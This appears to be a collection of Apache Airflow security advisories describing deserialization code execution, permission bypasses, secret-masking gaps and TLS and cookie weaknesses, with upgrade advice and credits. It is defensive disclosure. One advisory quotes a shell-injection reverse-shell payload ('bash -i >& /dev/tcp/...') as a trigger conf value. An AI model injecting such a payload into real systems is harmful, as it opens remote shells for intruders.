A bug in BaseSerialization.deserialize() allowed unrestricted importstring() of attacker-controlled class paths when the Scheduler / API Server loaded a serialized DAG: a DAG author could embed a malicious trigger into a DAG to gain remote code execution on the API Server / Scheduler process, crossing the Airflow security boundary that DAG-author code must never execute in those processes. Users are advised to upgrade to apache-airflow 3.3.0 or later. As a defense-in-depth mitigation, deployments where DAG-author trust is limited can restrict the [core] alloweddeserializationclasses config to a narrow allowlist.
Apache Airflow's official documentation at core-concepts/dag-run.html ("Passing Parameters when triggering Dags") showed a verbatim BashOperator(bashcommand="echo value: {{ dagrun.conf['conf1'] }}") example without any quoting / sanitization warning. Dag authors who copied the pattern verbatim into deployments where users had Dag.cantrigger permission on the affected Dag (typical multi-team deployments, hosted offerings exposing a trigger API) could be exposed to shell-metacharacter injection via the conf field of the trigger API: an authenticated trigger user could supply "; bash -i >& /dev/tcp/.../9999 0>&1; #" as a conf value and reach an os.exec on the worker. This CVE covers the documentation correction in apache/airflow PR 64129 — the pattern in the docs example now includes explicit shell-quoting and a safety caveat. Affects deployments whose Dag code was modeled on the pre-correction docs example. Same class as the prior CVE-2025-50213 and CVE-2025-27018 documentation-pattern fixes. Users are advised to upgrade to apache-airflow 3.2.2 or later to pick up the corrected documentation shipped with the release.
Apache Airflow's Task SDK rebuilt a Callback object from serialized data by re-running its constructor, which imports the module named by the stored callback path. Because SyncCallback is itself an Airflow class it passes the default alloweddeserializationclasses allow-list, so tightening that setting does not help. A Dag author — who controls a task instance's nextkwargs through the task execution API — can therefore cause an arbitrary module to be imported inside the scheduler process, when the scheduler's awaitinginput timeout sweep deserializes that value. No non-default configuration is required; the sweep runs unconditionally. Versions before 3.3.0 are not affected: the class existed, but the scheduler sweep that reaches it did not. This is a separate code path from CVE-2026-58076 and CVE-2026-67260, which cover different gadgets reaching deserialization — applying either of those fixes does not address this one. Users are advised to upgrade to apache-airflow 3.3.1 or later.
The example examplexcom that was included in airflow documentation implemented unsafe pattern of reading value from xcom in the way that could be exploited to allow UI user who had access to modify XComs to perform arbitrary execution of code on the worker. Since the UI users are already highly trusted, this is a Low severity vulnerability.
It does not affect Airflow release - exampledags are not supposed to be enabled in production environment, however users following the example could replicate the bad pattern. Documentation of Airflow 3.2.0 contains version of the example with improved resiliance for that case.
Users who followed that pattern are advised to adjust their implementations accordingly.
A bug in the login redirect route in Apache Airflow allowed authenticated users to craft URLs that bypassed the issafeurl check, enabling redirection from a trusted Airflow domain to an attacker-controlled origin. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deployment operators can place Airflow behind a reverse proxy that strips off-domain next= query parameters before they reach the login endpoint.
Apache Airflow versions 3.0.0 through 3.1.8 DagRun wait endpoint returns XCom result values even to users who only have DAG Run read permissions, such as the Viewer role.This behavior conflicts with the FAB RBAC model, which treats XCom as a separate protected resource, and with the security model documentation that defines the Viewer role as read-only.
Airflow uses the FAB Auth Manager to manage access control on a per-resource basis. The Viewer role is intended to be read-only by default, and the security model documentation defines Viewer users as those who can inspect DAGs without accessing sensitive execution results.
Users are recommended to upgrade to Apache Airflow 3.2.0 which resolves this issue.
A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for FabAuthManager and KeycloakAuthManager did not actually reach the underlying revoketoken() call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with FabAuthManager or KeycloakAuthManager (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side revoketoken() reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to apache-airflow 3.2.2 or later to cover the FAB / Keycloak logout paths.
The Bulk Variables API in Apache Airflow called the redactor without passing the variable's key, so the key-based shouldhidevalueforkey check (which triggers on secret-suffixed key names like password / token / secret) could not fire for JSON-decodable variable values. An authenticated UI/API user with bulk Variable read permission could retrieve plaintext values from JSON variables whose key would otherwise trigger redaction. Affects deployments that store sensitive values in JSON-typed Airflow Variables under secret-suffixed key names. Users are advised to upgrade to apache-airflow 3.3.0 or later (the fix landed on main after 3.2.2; no 3.2.x backport).
Apache Airflow's asset materialization endpoint (POST /api/v2/assets/{assetid}/materialize) and the XCom result check on waitdagrununtilfinished authorized the target Dag without its team, unlike every other authorization site. A team-aware auth manager distinguishes a team-scoped Dag from a global one by that field -- the Keycloak auth manager, for example, checks the DAG resource instead of DAG:<team> -- so the team-scoped permission that should gate the request was never consulted. In a deployment running multi-team mode with a team-aware auth manager, an authenticated user in one team could trigger Dag runs belonging to another team, supplying their own dagrunid and conf, and could read another team's XCom values. Deployments using the FAB auth manager are unaffected, as it has no multi-team support. Users are advised to upgrade to apache-airflow 3.3.1 or later, which resolves the Dag's team at both sites.
Apache Airflow's Task SDK did not mask the contents of a Variable whose JSON value is a list, so secrets stored in that shape appeared in cleartext in task logs and in the Rendered Templates UI. Masking was applied only when the deserialized value was a string or a dict; a list at the top level matched neither and was returned unmasked. Any authenticated user able to read the logs or rendered templates of a task that references such a Variable could recover the values, with no special configuration required. This is the list-shaped counterpart of CVE-2026-59244, whose fix covered the dict case only, so deployments that upgraded in response to that advisory remain affected and must upgrade again. Users are advised to upgrade to apache-airflow 3.3.1 or later.
Apache Airflow's EmailOperator and the underlying airflow.utils.email helpers established SMTP STARTTLS connections without verifying the remote certificate when the deployment used [email] smtpstarttls=True without [email] smtpssl. An attacker positioned between the worker and the configured SMTP server (network MITM — typical hostile-network attack-surface for environments where the SMTP relay sits outside the worker's trust boundary) could present a self-signed certificate, have the worker complete the STARTTLS handshake silently, and capture the SMTP AUTH credentials and message contents the worker forwarded.
This CVE covers the core apache-airflow side of the same root cause already covered for the SMTP provider by CVE-2026-41016 (published 2026-04-27, covering apache-airflow-providers-smtp). Users who already applied the SMTP-provider fix from CVE-2026-41016 should additionally upgrade apache-airflow to 3.2.2 or later to cover the core-side path through airflow.utils.email. Affects deployments configured with smtpstarttls=True and smtpssl=False where the SMTP relay is reachable across a less-trusted network segment than the worker.
Users are advised to upgrade to apache-airflow 3.2.2 or later.
Apache Airflow's JWTRefreshMiddleware set the JWT auth cookie without the Secure flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Apache Airflow's XCom GET /api/v2/{...}/xcomEntries/{key}?deserialize=true endpoint passed a string-literal payload through BaseXCom.deserializevalue without the checkforbiddenxcomkeys guard, allowing an authenticated API user with XCom write-and-read access to instantiate arbitrary airflow. classes on the API server (CWE-502). An authenticated user who can write an XCom value and then read it back with deserialize=true triggers the unsafe instantiation. Users are advised to upgrade to apache-airflow 3.3.1 or later, which rejects reserved XCom serialization keys submitted as JSON string literals.
Apache Airflow's secrets masker hides values stored under sensitive key names when they are displayed in the UI. The masker's recursion-depth limit did not descend into values nested inside a list, tuple, or set beyond that limit, so an Airflow Variable holding such a deeply-nested value was shown unmasked in the Variables UI. The exposure is limited to the UI: any authenticated user who can see the Variable in the UI can already read its full value through the Variables REST API, so this does not disclose data the user could not otherwise obtain — the masking is a shoulder-surfing defense for the UI, not an access-control boundary.
This is an incomplete-fix follow-up to CVE-2026-42358, whose fix made only the dictionary walk unbounded; lists, tuples, and sets beyond the depth limit remained unmasked in the UI. Deployments that applied the CVE-2026-42358 fix should also upgrade to address this residual case. Upgrade to apache-airflow 3.3.1 or later.
Secrets in Variables saved as JSON dictionaries were not properly redacted - in case the variables were retrieved by the user the secrets stored as nested fields were not masked.
If developers do not store variables with sensitive values in JSON form, their projects are not affected. Otherwise upgrade to the fixed version, Apache Airflow 3.2.0.
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 3.0.0 before 3.2.0
Description:
Apache Airflow versions 3.0.0 through 3.1.8 DagRun wait endpoint returns XCom result values even to users who only have DAG Run read permissions, such as the Viewer role.This behavior conflicts with the FAB RBAC model, which treats XCom as a separate protected resource, and with the security model documentation that defines the Viewer role as read-only.
Airflow uses the FAB Auth Manager to manage access control on a per-resource basis. The Viewer role is intended to be read-only by default, and the security model documentation defines Viewer users as those who can inspect DAGs without accessing sensitive execution results.
Users are recommended to upgrade to Apache Airflow 3.2.0 which resolves this issue.
Credit:
selen (finder) Kevin Yang (remediation developer)
References:
https://github.com/apache/airflow/pull/64415 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-34538
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 3.1.8 before 3.2.0
Description:
Dag Authors, who normally should not be able to execute code in the webserver context could craft XCom payload causing the webserver to execute arbitrary code. Since Dag Authors are already highly trusted, severity of this issue is Low.
Users are recommended to upgrade to Apache Airflow 3.2.0, which resolves this issue.
Credit:
wooseokdotkim (finder) Amogh Desai (remediation developer)
References:
https://github.com/apache/airflow/pull/64148 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-33858
Severity: low
Affected versions:
- Apache Airlfow (apache-airflow) before 3.2.0
Description:
The accesskey and connectionstring connection properties were not marked as sensitive names in secrets masker. This means that user with read permission could see the values in Connection UI, as well as when Connection was accidently logged to logs, those values could be seen in the logs. Azure Service Bus used those properties to store sensitive values. Possibly other providers could be also affected if they used the same fields to store sensitive data.
If you used Azure Service Bus connection with those values set or if you have other connections with those values storing senesitve values, you should upgrade Airflow to 3.2.0.
Credit:
Saurabh Banawar (finder)
References:
https://github.com/apache/airflow/pull/61580 https://github.com/apache/airflow/pull/61582 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-25219
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 3.0.0 before 3.2.0
Description:
Secrets in Variables saved as JSON dictionaries were not properly redacted - in case thee variables were retrieved by the user the secrets stored as nested fields were not masked.
If you do not store variables with sensitive values in JSON form, you are not affected. Otherwise please upgrade to Apache Airflow 3.2.0 that has the fix implemented
Credit:
Nguyen Anh Binh [IA Lab – FPT University] (finder) Kevin Yang (remediation developer)
References:
https://github.com/apache/airflow/pull/63480 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-32690
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.1
Description:
The authenticated /ui/dags endpoint did not enforce per-DAG access control on embedded Human-in-the-Loop (HITL) and TaskInstance records: a logged-in Airflow user with read access to at least one DAG could retrieve HITL prompts (including their request parameters) and full TaskInstance details for DAGs outside their authorized scope. Because HITL prompts and TaskInstance fields routinely carry operator parameters and free-form context attached to a task, the leak widens visibility of DAG-run data beyond the intended per-DAG RBAC boundary for every authenticated user.
Users are recommended to upgrade to version 3.2.1 , which fixes this issue.
Credit:
Jed Cunningham (finder) Kevin Yang (remediation developer)
References:
https://github.com/apache/airflow/pull/64822 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-38743
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.1
Description:
The asset dependency graph did not restrict nodes by the viewer's DAG read permissions: a user with read access to at least one DAG could browse the asset graph for any other asset in the deployment and learn the existence and names of DAGs and assets outside their authorized scope.
Users are recommended to upgrade to version 3.2.1, which fixes this issue.
Credit:
Saurabh (finder) Jarek Potiuk (remediation developer)
References:
https://github.com/apache/airflow/pull/65273 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-40690
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 2.0.0 before 3.2.2
Description:
Apache Airflow's EmailOperator and the underlying airflow.utils.email helpers established SMTP STARTTLS connections without verifying the remote certificate when the deployment used [email] smtpstarttls=True without [email] smtpssl. An attacker positioned between the worker and the configured SMTP server (network MITM — typical hostile-network attack-surface for environments where the SMTP relay sits outside the worker's trust boundary) could present a self-signed certificate, have the worker complete the STARTTLS handshake silently, and capture the SMTP AUTH credentials and message contents the worker forwarded.
This CVE covers the core apache-airflow side of the same root cause already covered for the SMTP provider by CVE-2026-41016 (published 2026-04-27, covering apache-airflow-providers-smtp). Users who already applied the SMTP-provider fix from CVE-2026-41016 should additionally upgrade apache-airflow to 3.2.2 or later to cover the core-side path through airflow.utils.email. Affects deployments configured with smtpstarttls=True and smtpssl=False where the SMTP relay is reachable across a less-trusted network segment than the worker.
Users are advised to upgrade to apache-airflow 3.2.2 or later.
Credit:
Francis Bergin (@francisbergin) (finder) Jarek Potiuk (remediation developer)
References:
https://github.com/apache/airflow/pull/65346 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-49267
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.2
Description:
A Dag author could either (a) create a symlink under their task's log directory pointing to an arbitrary file readable by the API server process (read-path attack — e.g. /etc/passwd or airflow.cfg) or (b) supply a taskid containing .. sequences accepted by the Task SDK's KEYREGEX (write-path attack), and in both cases the FileTaskHandler resolves the log path outside the configured baselogfolder, leaking or overwriting arbitrary files. Only affects deployments where the worker log folder is shared with the API server. Users are advised to upgrade to apache-airflow 3.2.2 or later. As a defense-in-depth mitigation, deploy the worker and API server with separate log volumes so that worker-controlled paths cannot reach the API server's filesystem.
Credit:
Silas Boch (finder) Lakshmikanthan K (letchupkt) (finder) Jarek Potiuk (remediation developer)
References:
https://github.com/apache/airflow/pull/65325 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-40861
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) 3.0.0 before 3.2.2
Description:
Apache Airflow's JWTRefreshMiddleware set the JWT auth cookie without the Secure flag, so deployments running the Airflow API server behind an HTTPS-terminating reverse proxy (e.g. nginx / Envoy / a managed load balancer that terminates TLS and forwards plaintext to the API server, the default cloud-native topology) would have the user's session JWT replayed over any cleartext HTTP request to the same host. A network-positioned attacker (Wi-Fi MITM, hostile LAN, captive-portal proxy) could induce a logged-in user's browser to issue an HTTP request to the deployment's hostname and capture the JWT cookie out of that request, then replay it against the authenticated API. Affects deployments where the Airflow API server is reached through a TLS-terminating proxy and the cookie's secure-by-default protection is load-bearing for session integrity. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Credit:
Ran (@eddieran) (finder) Jarek Potiuk (remediation developer)
References:
https://github.com/apache/airflow/pull/65348 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-41017
Severity: Moderate
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.2
Description:
A bug in Apache Airflow's auth manager logout handling left previously-issued JWT tokens valid after the user clicked logout in the UI: the logout flow for FabAuthManager and KeycloakAuthManager did not actually reach the underlying revoketoken() call, so the JWT remained accepted by the API server until its natural expiry. An attacker holding a previously-issued JWT for a logged-out user could continue to make authenticated API calls as that user. Affects deployments configured with FabAuthManager or KeycloakAuthManager (the bug does not affect SimpleAuthManager). This is a residual gap in the fix for CVE-2025-57735, which addressed cookie-side invalidation in PR #57992 / PR #61339 but did not cover the provider-side revoketoken() reachability in the FAB / Keycloak code paths. Users who already upgraded for CVE-2025-57735 should additionally upgrade to apache-airflow 3.2.2 or later to cover the FAB / Keycloak logout paths.
Credit:
Bernardo Curi (r3ngarbugado) (finder) pierrejeambrun (remediation developer)
References:
https://github.com/apache/airflow/pull/67289 https://www.cve.org/CVERecord?id=CVE-2025-57735 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-48726
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.2
Description:
The Event Log detail endpoint GET /api/v2/eventLogs/{eventlogid} in Apache Airflow fetched audit-log rows directly by numeric ID after only the generic Audit Log permission check, while the collection endpoint GET /api/v2/eventLogs applied per-Dag scoping. An authenticated UI/API user with audit-log read permission for one Dag could retrieve audit-log entries for any other Dag by guessing or enumerating the numeric event log ID. Affects deployments that rely on per-Dag audit-log scoping. Users are advised to upgrade to apache-airflow 3.2.2 or later.
Credit:
Stoyan Stoyanov Trendafilov (trstoyan), independent security researcher (finder) Pierre Jeambrun (@pierrejeambrun) (remediation developer)
References:
https://github.com/apache/airflow/pull/67112 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-46764
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.2
Description:
A bug in Apache Airflow's Variable response masker caused nested-key redaction (triggered by secret-suffixed key names like password, token, secret, apikey) to be bypassed when the JSON value's nesting depth exceeded the shared secrets masker's recursion limit: the masker returned the original nested item before checking the sensitive key name. An authenticated UI/API user with Variable read permission could harvest plaintext secret values stored under sensitive keys nested deep enough to exceed the masker's depth cap. Affects deployments that store sensitive values inside deeply-nested JSON Variables. This is a residual gap in the fix for CVE-2026-32690 (which covered shallower nesting via maxdepth=1); the depth-limit boundary itself was not raised, so the same key-name bypass pattern reappears beyond the recursion cap. Users who already upgraded for CVE-2026-32690 should additionally upgrade to apache-airflow 3.2.2 or later to cover the deep-nesting path.
Credit:
Vincent55 (confirmed in original report sign-off) (finder) Aymane MAZGUITI – unclej4ck (finder) Ilyase Dehy – Albert (finder) Jarek Potiuk (remediation developer)
References:
https://github.com/apache/airflow/pull/65912 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-42358
Severity: low
Affected versions:
- Apache Airflow (apache-airflow) before 3.2.2
Description:
A bug in Apache Airflow's rendered-template field handling caused nested sensitive-key masking (e.g. nested password / token / secret / apikey keys inside a JSON template structure) to be bypassed when the rendered field exceeded [core] maxtemplatedfieldlength: Airflow stringified the structure before redaction, losing the nested key context, and persisted the plaintext value into renderedfields. An authenticated UI/API user with permission to read rendered template fields could harvest secret values intended to be masked. Affects deployments where Dag authors pass structured JSON to operators with nested sensitive keys. This is a variant of CWE-200 previously addressed for the user-registered masksecret() patterns in CVE-2025-68438; that fix did not cover the nested sensitive-keyword allowlist. Users who already upgraded for CVE-2025-68438 should additionally upgrade to apache-airflow 3.2.2 or later to cover the nested-key path.
Credit:
Vincent55 (finder) Jarek Potiuk (remediation developer)
References:
https://github.com/apache/airflow/pull/65906 https://airflow.apache.org/ https://www.cve.org/CVERecord?id=CVE-2026-42360